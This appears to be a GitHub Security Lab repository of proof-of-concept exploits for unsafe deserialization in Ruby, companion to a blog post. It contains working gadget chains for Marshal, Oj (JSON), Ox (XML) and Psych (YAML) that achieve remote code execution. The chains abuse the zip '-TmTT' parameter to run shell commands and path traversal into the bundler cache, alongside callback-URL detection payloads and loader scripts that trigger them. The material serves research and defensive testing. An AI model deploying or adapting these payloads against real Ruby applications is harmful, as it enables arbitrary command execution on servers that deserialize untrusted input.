├── .gitignore ├── LICENSE ├── README.md ├── marshal ├── 3.2.4 │ └── marshal-rce-ruby-3.2.4.rb └── 3.4-rc │ └── marshal-rce-ruby-3.4-rc.rb ├── oj └── 3.3 │ ├── oj-detection-ruby-3.3.json │ ├── oj-rce-ruby-3.3.json │ └── oj_load.rb ├── ox └── 3.3 │ ├── ox-detection-ruby-3.3.xml │ ├── ox-rce-ruby-3.3.xml │ └── ox_load.rb └── yaml └── 3.3 ├── yaml-detection-ruby-3.3.yml ├── yaml-rce-ruby-3.3.yml └── yaml_unsafe_load.rb /.gitignore: -------------------------------------------------------------------------------- 1 | *.gem 2 | *.rbc 3 | /.config 4 | /coverage/ 5 | /InstalledFiles 6 | /pkg/ 7 | /spec/reports/ 8 | /spec/examples.txt 9 | /test/tmp/ 10 | /test/version_tmp/ 11 | /tmp/ 12 | 13 | # Used by dotenv library to load environment variables. 14 | # .env 15 | 16 | # Ignore Byebug command history file. 17 | .byebug_history 18 | 19 | ## Specific to RubyMotion: 20 | .dat* 21 | .repl_history 22 | build/ 23 | *.bridgesupport 24 | build-iPhoneOS/ 25 | build-iPhoneSimulator/ 26 | 27 | ## Specific to RubyMotion (use of CocoaPods): 28 | # 29 | # We recommend against adding the Pods directory to your .gitignore. However 30 | # you should judge for yourself, the pros and cons are mentioned at: 31 | # https://guides.cocoapods.org/using/using-cocoapods.html#should-i-check-the-pods-directory-into-source-control 32 | # 33 | # vendor/Pods/ 34 | 35 | ## Documentation cache and generated files: 36 | /.yardoc/ 37 | /_yardoc/ 38 | /doc/ 39 | /rdoc/ 40 | 41 | ## Environment normalization: 42 | /.bundle/ 43 | /vendor/bundle 44 | /lib/bundler/man/ 45 | 46 | # for a library or gem, you might want to ignore these files since the code is 47 | # intended to run in multiple environments; otherwise, check them in: 48 | # Gemfile.lock 49 | # .ruby-version 50 | # .ruby-gemset 51 | 52 | # unless supporting rvm < 1.11.0 or doing something fancy, ignore this: 53 | .rvmrc 54 | 55 | # Used by RuboCop. Remote config files pulled in from inherit_from directive. 56 | # .rubocop-https?--* 57 | 58 | # macOS 59 | .DS_Store 60 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 GitHub Security Lab 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Proof of Concepts for unsafe deserialization in Ruby 2 | 3 | Companion repository to the blog post: [Execute commands by sending JSON? Learn how unsafe deserialization vulnerabilities work in Ruby projects](https://github.blog/2024-06-20-execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/). 4 | 5 | The proof of concept exploits contained in this repository are largely based on the [universal gadget chain](https://devcraft.io/2022/04/04/universal-deserialisation-gadget-for-ruby-2-x-3-x.html) published by [William Bowling](https://github.com/wbowling) (aka vakzz). 6 | 7 | ## Disclaimer 8 | 9 | This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly. 10 | 11 | ## Supported Libraries 12 | 13 | This repo contains detection and RCE PoCs for following deserialization libraries: 14 | * Oj (JSON) 15 | * Ox (XML) 16 | * Psych (YAML) 17 | * Marshall 18 | 19 | The Oj, Ox and Psych proof of concepts were observed to work up to the current Ruby 3.3.3 (released in June 2024). The PoC for Marshall was observed to work up to Ruby 3.2.4 (released in April 2024). 20 | 21 | 22 | ## Usage 23 | 24 | The subfolders for Oj, Ox and YAML contain gadget chains for the detection of an exploitable sink and remote code execution. 25 | 26 | * The **detection gadget chain** calls an URL when flowing into a vulnerable sink. For this to work the placeholder `{CALLBACK_URL}` has to be replaced with an URL which should be called (preferably under the control of the tester). 27 | * The **remote code execution (RCE) gadget chain** makes use of the `zip` command line util to run arbitrary commands (see [GTFObins](https://gtfobins.github.io/gtfobins/zip/)). Replace the placeholder `{ZIP_PARAM}` with a zip parameter that executes a command such as `-TmTT=\"$(id>/tmp/deser-poc)\"any.zip` (which will write the output of `id` to `/tmp/deser-poc`). 28 | 29 | 30 | See the Ruby files in the respective subfolders for more information. 31 | -------------------------------------------------------------------------------- /marshal/3.2.4/marshal-rce-ruby-3.2.4.rb: -------------------------------------------------------------------------------- 1 | # Disclaimer: 2 | # This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, 3 | # and is not intended to be used to attack systems except where explicitly authorized. 4 | # Project maintainers are not responsible or liable for misuse of the software. Use responsibly. 5 | 6 | # This Ruby marshall unsafe deserialization proof of concept is originally based on: https://devcraft.io/2022/04/04/universal-deserialisation-gadget-for-ruby-2-x-3-x.html 7 | # It was observed to work up to Ruby 3.2.4 8 | 9 | Gem::SpecFetcher # Autoload 10 | 11 | 12 | def call_url_and_create_folder(url) # provided url should not have a query (?) component 13 | uri = URI::HTTP.allocate 14 | uri.instance_variable_set("@path", "/") 15 | uri.instance_variable_set("@scheme", "s3") 16 | uri.instance_variable_set("@host", url + "?") # use the https host+path with your rz file 17 | uri.instance_variable_set("@port", "/../../../../../../../../../../../../../../../tmp/cache/bundler/git/any-c5fe0200d1c7a5139bd18fd22268c4ca8bf45e90/") # c5fe... is the SHA-1 of "any" 18 | uri.instance_variable_set("@user", "any") 19 | uri.instance_variable_set("@password", "any") 20 | 21 | source = Gem::Source.allocate 22 | source.instance_variable_set("@uri", uri) 23 | source.instance_variable_set("@update_cache", true) 24 | 25 | index_spec = Gem::Resolver::IndexSpecification.allocate 26 | index_spec.instance_variable_set("@name", "name") 27 | index_spec.instance_variable_set("@source", source) 28 | 29 | request_set = Gem::RequestSet.allocate 30 | request_set.instance_variable_set("@sorted_requests", [index_spec]) 31 | 32 | lockfile = Gem::RequestSet::Lockfile.allocate 33 | lockfile.instance_variable_set("@set", request_set) 34 | lockfile.instance_variable_set("@dependencies", []) 35 | 36 | return lockfile 37 | end 38 | 39 | def git_gadget(executable, second_param) 40 | git_source = Gem::Source::Git.allocate 41 | git_source.instance_variable_set("@git", executable) 42 | git_source.instance_variable_set("@reference", second_param) 43 | git_source.instance_variable_set("@root_dir", "/tmp") 44 | git_source.instance_variable_set("@repository", "any") 45 | git_source.instance_variable_set("@name", "any") 46 | 47 | spec = Gem::Resolver::Specification.allocate 48 | spec.instance_variable_set("@name", "any") 49 | spec.instance_variable_set("@dependencies",[]) 50 | 51 | git_spec = Gem::Resolver::GitSpecification.allocate 52 | git_spec.instance_variable_set("@source", git_source) 53 | git_spec.instance_variable_set("@spec", spec) 54 | 55 | spec_specification = Gem::Resolver::SpecSpecification.allocate 56 | spec_specification.instance_variable_set("@spec", git_spec) 57 | 58 | return spec_specification 59 | end 60 | 61 | def command_gadget(zip_param_to_execute) 62 | git_gadget_create_zip = git_gadget("zip", "/etc/passwd") 63 | git_gadget_execute_cmd = git_gadget("zip", zip_param_to_execute) 64 | 65 | request_set = Gem::RequestSet.allocate 66 | request_set.instance_variable_set("@sorted_requests", [git_gadget_create_zip, git_gadget_execute_cmd]) 67 | 68 | lockfile = Gem::RequestSet::Lockfile.allocate 69 | lockfile.instance_variable_set("@set", request_set) 70 | lockfile.instance_variable_set("@dependencies",[]) 71 | 72 | return lockfile 73 | end 74 | 75 | def to_s_wrapper(inner) 76 | spec = Gem::Specification.new 77 | spec.instance_variable_set("@new_platform", inner) 78 | return spec 79 | end 80 | 81 | def create_rce_gadget_chain(rz_url_to_load, zip_param_to_execute) 82 | create_folder_gadget = call_url_and_create_folder(rz_url_to_load) 83 | exec_gadget = command_gadget(zip_param_to_execute) 84 | 85 | return Marshal.dump([Gem::SpecFetcher, to_s_wrapper(create_folder_gadget), to_s_wrapper(exec_gadget)]) 86 | end 87 | 88 | def create_detection_gadget_chain(url) 89 | call_url_gadget = call_url_and_create_folder(url) 90 | 91 | return Marshal.dump([Gem::SpecFetcher, to_s_wrapper(call_url_gadget)]) 92 | end 93 | 94 | url = "" # replace with URL to call in the detection gadget, for example: test.example.org/path, url should not have a query (?) component. 95 | detection_gadget_chain = create_detection_gadget_chain(url) 96 | 97 | #zip_param_to_execute = "" # replace with parameter that is provided to the zip executable and can contain a command passed to the -TT param (unzip command), for example: "-TmTT=\"$(id>/tmp/marshal-poc)\"any.zip" 98 | #rce_gadget_chain = create_rce_gadget_chain("rubygems.org/quick/Marshal.4.8/bundler-2.2.27.gemspec.rz", zip_param_to_execute) 99 | 100 | puts "Detection gadget chain using callback URL #{url}:" 101 | puts detection_gadget_chain.unpack("H*") 102 | 103 | #Marshal.load(detection_gadget_chain) # caution: will trigger the detection gadget when uncommented. 104 | -------------------------------------------------------------------------------- /marshal/3.4-rc/marshal-rce-ruby-3.4-rc.rb: -------------------------------------------------------------------------------- 1 | # Disclaimer: 2 | # This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, 3 | # and is not intended to be used to attack systems except where explicitly authorized. 4 | # Project maintainers are not responsible or liable for misuse of the software. Use responsibly. 5 | 6 | # This Ruby marshall unsafe deserialization proof of concept is originally based on: https://devcraft.io/2022/04/04/universal-deserialisation-gadget-for-ruby-2-x-3-x.html 7 | # It was observed to work up to Ruby 3.4-rc 8 | # The majority of this chain was taken from https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/blob/main/marshal/3.2.4/marshal-rce-ruby-3.2.4.rb 9 | 10 | # This module is required since the URI module is not defined anymore. 11 | # The assumption is that any web framework (like sinatra or rails) will require such library 12 | # Hence we can consider this gadget as "universal" 13 | require 'net/http' 14 | 15 | Gem::SpecFetcher # Autoload 16 | 17 | 18 | def call_url_and_create_folder(url) # provided url should not have a query (?) component 19 | uri = URI::HTTP.allocate 20 | uri.instance_variable_set("@path", "/") 21 | uri.instance_variable_set("@scheme", "s3") 22 | uri.instance_variable_set("@host", url + "?") # use the https host+path with your rz file 23 | uri.instance_variable_set("@port", "/../../../../../../../../../../../../../../../tmp/cache/bundler/git/any-c5fe0200d1c7a5139bd18fd22268c4ca8bf45e90/") # c5fe... is the SHA-1 of "any" 24 | uri.instance_variable_set("@user", "any") 25 | uri.instance_variable_set("@password", "any") 26 | 27 | source = Gem::Source.allocate 28 | source.instance_variable_set("@uri", uri) 29 | source.instance_variable_set("@update_cache", true) 30 | 31 | index_spec = Gem::Resolver::IndexSpecification.allocate 32 | index_spec.instance_variable_set("@name", "name") 33 | index_spec.instance_variable_set("@source", source) 34 | 35 | request_set = Gem::RequestSet.allocate 36 | request_set.instance_variable_set("@sorted_requests", [index_spec]) 37 | 38 | lockfile = Gem::RequestSet::Lockfile.new('','','') 39 | lockfile.instance_variable_set("@set", request_set) 40 | lockfile.instance_variable_set("@dependencies", []) 41 | 42 | return lockfile 43 | end 44 | 45 | def git_gadget(executable, second_param) 46 | git_source = Gem::Source::Git.allocate 47 | git_source.instance_variable_set("@git", executable) 48 | git_source.instance_variable_set("@reference", second_param) 49 | git_source.instance_variable_set("@root_dir", "/tmp") 50 | git_source.instance_variable_set("@repository", "any") 51 | git_source.instance_variable_set("@name", "any") 52 | 53 | spec = Gem::Resolver::Specification.allocate 54 | spec.instance_variable_set("@name", "any") 55 | spec.instance_variable_set("@dependencies",[]) 56 | 57 | git_spec = Gem::Resolver::GitSpecification.allocate 58 | git_spec.instance_variable_set("@source", git_source) 59 | git_spec.instance_variable_set("@spec", spec) 60 | 61 | spec_specification = Gem::Resolver::SpecSpecification.allocate 62 | spec_specification.instance_variable_set("@spec", git_spec) 63 | 64 | return spec_specification 65 | end 66 | 67 | def command_gadget(zip_param_to_execute) 68 | git_gadget_create_zip = git_gadget("zip", "/etc/passwd") 69 | git_gadget_execute_cmd = git_gadget("zip", zip_param_to_execute) 70 | 71 | request_set = Gem::RequestSet.allocate 72 | request_set.instance_variable_set("@sorted_requests", [git_gadget_create_zip, git_gadget_execute_cmd]) 73 | 74 | lockfile = Gem::RequestSet::Lockfile.new('','','') 75 | lockfile.instance_variable_set("@set", request_set) 76 | lockfile.instance_variable_set("@dependencies",[]) 77 | 78 | return lockfile 79 | end 80 | 81 | 82 | # This is the major change compared to the other gadget. 83 | # Essentially the Gem::Specification is calling safe_load which blocks the execution of the chain. 84 | # Since we need a gadget that calls to_s from (marshal)_load, i've opted for Gem::Version 85 | # The only problem with this is the fact that it throws an error, hence two separate load are required. 86 | def to_s_wrapper(inner) 87 | spec = Gem::Version.allocate 88 | spec.instance_variable_set("@version", inner) 89 | # spec = Gem::Specification.new 90 | # spec.instance_variable_set("@new_platform", inner) 91 | return spec 92 | end 93 | 94 | # RCE 95 | def create_rce_gadget_chain(zip_param_to_execute) 96 | exec_gadget = command_gadget(zip_param_to_execute) 97 | 98 | return Marshal.dump([Gem::SpecFetcher, to_s_wrapper(exec_gadget)]) 99 | end 100 | 101 | # detection / folder creation 102 | def create_detection_gadget_chain(url) 103 | call_url_gadget = call_url_and_create_folder(url) 104 | 105 | return Marshal.dump([Gem::SpecFetcher, to_s_wrapper(call_url_gadget)]) 106 | end 107 | 108 | url = "rubygems.org/quick/Marshal.4.8/bundler-2.2.27.gemspec.rz" # replace with URL to call in the detection gadget, for example: test.example.org/path, url should not have a query (?) component. 109 | detection_gadget_chain = create_detection_gadget_chain(url) 110 | 111 | # begin 112 | # Marshal.load(detection_gadget_chain) 113 | # rescue 114 | # end 115 | 116 | puts detection_gadget_chain.unpack("H*") 117 | 118 | # You can comment from here if you want to simply detect the presence of the vulnerability. 119 | zip_param_to_execute = "-TmTT=\"$(id>/tmp/marshal-poc)\"any.zip" # replace with -TmTT=\"$(id>/tmp/marshal-poc)\"any.zip 120 | rce_gadget_chain = create_rce_gadget_chain(zip_param_to_execute) 121 | 122 | puts rce_gadget_chain.unpack("H*") 123 | 124 | # Marshal.load(rce_gadget_chain) 125 | -------------------------------------------------------------------------------- /oj/3.3/oj-detection-ruby-3.3.json: -------------------------------------------------------------------------------- 1 | { 2 | "^#1": [ 3 | [ { "^c": "Gem::SpecFetcher" }, 4 | { "^o": "Gem::Requirement", 5 | "requirements": [ 6 | ["~>", 7 | { "^o": "Gem::RequestSet::Lockfile", 8 | "set": { 9 | "^o": "Gem::RequestSet", 10 | "sorted_requests": [ 11 | { "^o": "Gem::Resolver::IndexSpecification", 12 | "source": { 13 | "^o": "Gem::Source", 14 | "uri": { 15 | "^o": "URI::HTTP", 16 | "host": "{CALLBACK_URL}?", 17 | "port": "any", 18 | "scheme": "s3", "path": "/", "user": "any", "password": "any" 19 | }}}]}, 20 | "dependencies": [] 21 | }]]} 22 | ], 23 | "any" 24 | ] 25 | } -------------------------------------------------------------------------------- /oj/3.3/oj-rce-ruby-3.3.json: -------------------------------------------------------------------------------- 1 | { 2 | "^#1": [ 3 | [ 4 | { 5 | "^c": "Gem::SpecFetcher" 6 | }, 7 | { 8 | "^o": "Gem::Requirement", 9 | "requirements": [ 10 | [ 11 | "~>", 12 | { 13 | "^o": "Gem::RequestSet::Lockfile", 14 | "set": { 15 | "^o": "Gem::RequestSet", 16 | "sorted_requests": [ 17 | { 18 | "^o": "Gem::Resolver::IndexSpecification", 19 | "name": "name", 20 | "source": { 21 | "^o": "Gem::Source", 22 | "uri": { 23 | "^o": "URI::HTTP", 24 | "path": "/", 25 | "scheme": "s3", 26 | "host": "rubygems.org/quick/Marshal.4.8/bundler-2.2.27.gemspec.rz?", 27 | "port": "/../../../../../../../../../../../../../../../tmp/cache/bundler/git/any-c5fe0200d1c7a5139bd18fd22268c4ca8bf45e90/", 28 | "user": "user", 29 | "password": "password" 30 | }, 31 | "update_cache": true 32 | } 33 | } 34 | ] 35 | }, 36 | "dependencies": [] 37 | } 38 | ] 39 | ] 40 | }, 41 | { 42 | "^o": "Gem::Requirement", 43 | "requirements": [ 44 | [ 45 | "~>", 46 | { 47 | "^o": "Gem::RequestSet::Lockfile", 48 | "set": { 49 | "^o": "Gem::RequestSet", 50 | "sorted_requests": [ 51 | { 52 | "^o": "Gem::Resolver::SpecSpecification", 53 | "spec": { 54 | "^o": "Gem::Resolver::GitSpecification", 55 | "source": { 56 | "^o": "Gem::Source::Git", 57 | "git": "zip", 58 | "reference": "/etc/passwd", 59 | "root_dir": "/tmp", 60 | "repository": "any", 61 | "name": "any" 62 | }, 63 | "spec": { 64 | "^o": "Gem::Resolver::Specification", 65 | "name": "name", 66 | "dependencies": [] 67 | } 68 | } 69 | }, 70 | { 71 | "^o": "Gem::Resolver::SpecSpecification", 72 | "spec": { 73 | "^o": "Gem::Resolver::GitSpecification", 74 | "source": { 75 | "^o": "Gem::Source::Git", 76 | "git": "zip", 77 | "reference": "{ZIP_PARAM}", 78 | "root_dir": "/tmp", 79 | "repository": "any", 80 | "name": "any" 81 | }, 82 | "spec": { 83 | "^o": "Gem::Resolver::Specification", 84 | "name": "name", 85 | "dependencies": [] 86 | } 87 | } 88 | } 89 | ] 90 | }, 91 | "dependencies": [] 92 | } 93 | ] 94 | ] 95 | } 96 | ], 97 | "any" 98 | ] 99 | } -------------------------------------------------------------------------------- /oj/3.3/oj_load.rb: -------------------------------------------------------------------------------- 1 | # Disclaimer: 2 | # This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, 3 | # and is not intended to be used to attack systems except where explicitly authorized. 4 | # Project maintainers are not responsible or liable for misuse of the software. Use responsibly. 5 | 6 | require "oj" 7 | require "uri" # Works without this import in Ruby 3.3.0, not loaded anymore in Ruby 3.3.1 and later => already loaded in web frameworks such as Ruby on Rails. 8 | 9 | # Standalone usage: 10 | # gem install oj 11 | # Replace {CALLBACK_URL} placeholder in oj-detection-ruby-3.3.json with URL for callback, such as test.example.org/path, url should not have a query (?) component. 12 | # ruby oj_load.rb oj-detection-ruby-3.3.json 13 | 14 | Oj.load(File.read(ARGV[0])) # Attention: this triggers the execution of the gadget chain in the file provided. 15 | -------------------------------------------------------------------------------- /ox/3.3/ox-detection-ruby-3.3.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | ~> 8 | 9 | 10 | 11 | 12 | name 13 | 14 | 15 | / 16 | s3 17 | {CALLBACK_URL}? 18 | any 19 | any 20 | any 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | any 34 | 35 | -------------------------------------------------------------------------------- /ox/3.3/ox-rce-ruby-3.3.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | ~> 8 | 9 | 10 | 11 | 12 | name 13 | 14 | 15 | / 16 | s3 17 | rubygems.org/quick/Marshal.4.8/bundler-2.2.27.gemspec.rz? 18 | /../../../../../../../../../../../../../../../tmp/cache/bundler/git/any-c5fe0200d1c7a5139bd18fd22268c4ca8bf45e90/ 19 | any 20 | any 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | ~> 36 | 37 | 38 | 39 | 40 | 41 | 42 | zip 43 | /etc/passwd 44 | /tmp 45 | any 46 | any 47 | 48 | 49 | name 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | zip 58 | {ZIP_PARAM} 59 | /tmp 60 | any 61 | any 62 | 63 | 64 | name 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | any 78 | 79 | -------------------------------------------------------------------------------- /ox/3.3/ox_load.rb: -------------------------------------------------------------------------------- 1 | # Disclaimer: 2 | # This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, 3 | # and is not intended to be used to attack systems except where explicitly authorized. 4 | # Project maintainers are not responsible or liable for misuse of the software. Use responsibly. 5 | 6 | require "ox" 7 | require "uri" # Works without this import in Ruby 3.3.0, not loaded anymore in Ruby 3.3.1 and later => already loaded in web frameworks such as Ruby on Rails. 8 | 9 | # Standalone usage: 10 | # gem install ox 11 | # Replace {CALLBACK_URL} placeholder in ox-detection-ruby-3.3.xml with URL for callback, such as test.example.org/path, url should not have a query (?) component. (might require the usage of entities such as >) 12 | # ruby ox_load.rb ox-detection-ruby-3.3.xml 13 | 14 | Ox.parse_obj(File.read(ARGV[0])) # Attention: this triggers the execution of the gadget chain in the file provided. 15 | -------------------------------------------------------------------------------- /yaml/3.3/yaml-detection-ruby-3.3.yml: -------------------------------------------------------------------------------- 1 | - !ruby/class 'Gem::SpecFetcher' 2 | - ? !ruby/object:Gem::Requirement 3 | requirements: 4 | - - "~>" 5 | - !ruby/object:Gem::RequestSet::Lockfile 6 | set: !ruby/object:Gem::RequestSet 7 | sorted_requests: 8 | - !ruby/object:Gem::Resolver::IndexSpecification 9 | name: name 10 | source: !ruby/object:Gem::Source 11 | uri: !ruby/object:URI::HTTP 12 | path: "/" 13 | scheme: s3 14 | host: {CALLBACK_URL}? 15 | port: "any" 16 | user: any 17 | password: any 18 | update_cache: true 19 | dependencies: [] 20 | : any 21 | -------------------------------------------------------------------------------- /yaml/3.3/yaml-rce-ruby-3.3.yml: -------------------------------------------------------------------------------- 1 | - !ruby/class 'Gem::SpecFetcher' 2 | - ? !ruby/object:Gem::Requirement 3 | requirements: 4 | - - "~>" 5 | - !ruby/object:Gem::RequestSet::Lockfile 6 | set: !ruby/object:Gem::RequestSet 7 | sorted_requests: 8 | - !ruby/object:Gem::Resolver::IndexSpecification 9 | name: name 10 | source: !ruby/object:Gem::Source 11 | uri: !ruby/object:URI::HTTP 12 | path: "/" 13 | scheme: s3 14 | host: rubygems.org/quick/Marshal.4.8/bundler-2.2.27.gemspec.rz? 15 | port: "/../../../../../../../../../../../../../../../tmp/cache/bundler/git/any-c5fe0200d1c7a5139bd18fd22268c4ca8bf45e90/" 16 | user: any 17 | password: any 18 | update_cache: true 19 | dependencies: [] 20 | : any 21 | - ? !ruby/object:Gem::Requirement 22 | requirements: 23 | - - "~>" 24 | - !ruby/object:Gem::RequestSet::Lockfile 25 | set: !ruby/object:Gem::RequestSet 26 | sorted_requests: 27 | - !ruby/object:Gem::Resolver::SpecSpecification 28 | spec: !ruby/object:Gem::Resolver::GitSpecification 29 | source: !ruby/object:Gem::Source::Git 30 | git: zip 31 | reference: "/etc/passwd" 32 | root_dir: "/tmp" 33 | repository: any 34 | name: any 35 | spec: !ruby/object:Gem::Resolver::Specification 36 | name: name 37 | dependencies: [] 38 | - !ruby/object:Gem::Resolver::SpecSpecification 39 | spec: !ruby/object:Gem::Resolver::GitSpecification 40 | source: !ruby/object:Gem::Source::Git 41 | git: zip 42 | reference: "{ZIP_PARAM}" 43 | root_dir: "/tmp" 44 | repository: any 45 | name: any 46 | spec: !ruby/object:Gem::Resolver::Specification 47 | name: name 48 | dependencies: [] 49 | dependencies: [] 50 | : any 51 | -------------------------------------------------------------------------------- /yaml/3.3/yaml_unsafe_load.rb: -------------------------------------------------------------------------------- 1 | # Disclaimer: 2 | # This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, 3 | # and is not intended to be used to attack systems except where explicitly authorized. 4 | # Project maintainers are not responsible or liable for misuse of the software. Use responsibly. 5 | 6 | require "yaml" 7 | require "uri" # Works without this import in Ruby 3.3.0, not loaded anymore in Ruby 3.3.1 and later => already loaded in web frameworks such as Ruby on Rails. 8 | 9 | # Standalone usage: 10 | # Replace {CALLBACK_URL} placeholder in yaml-detection-ruby-3.3.yml with URL for callback, such as test.example.org/path, url should not have a query (?) component. 11 | # ruby yaml_unsafe_load.rb yaml-detection-ruby-3.3.yml 12 | 13 | YAML.unsafe_load File.read(ARGV[0]) # Attention: this triggers the execution of the gadget chain in the file provided. --------------------------------------------------------------------------------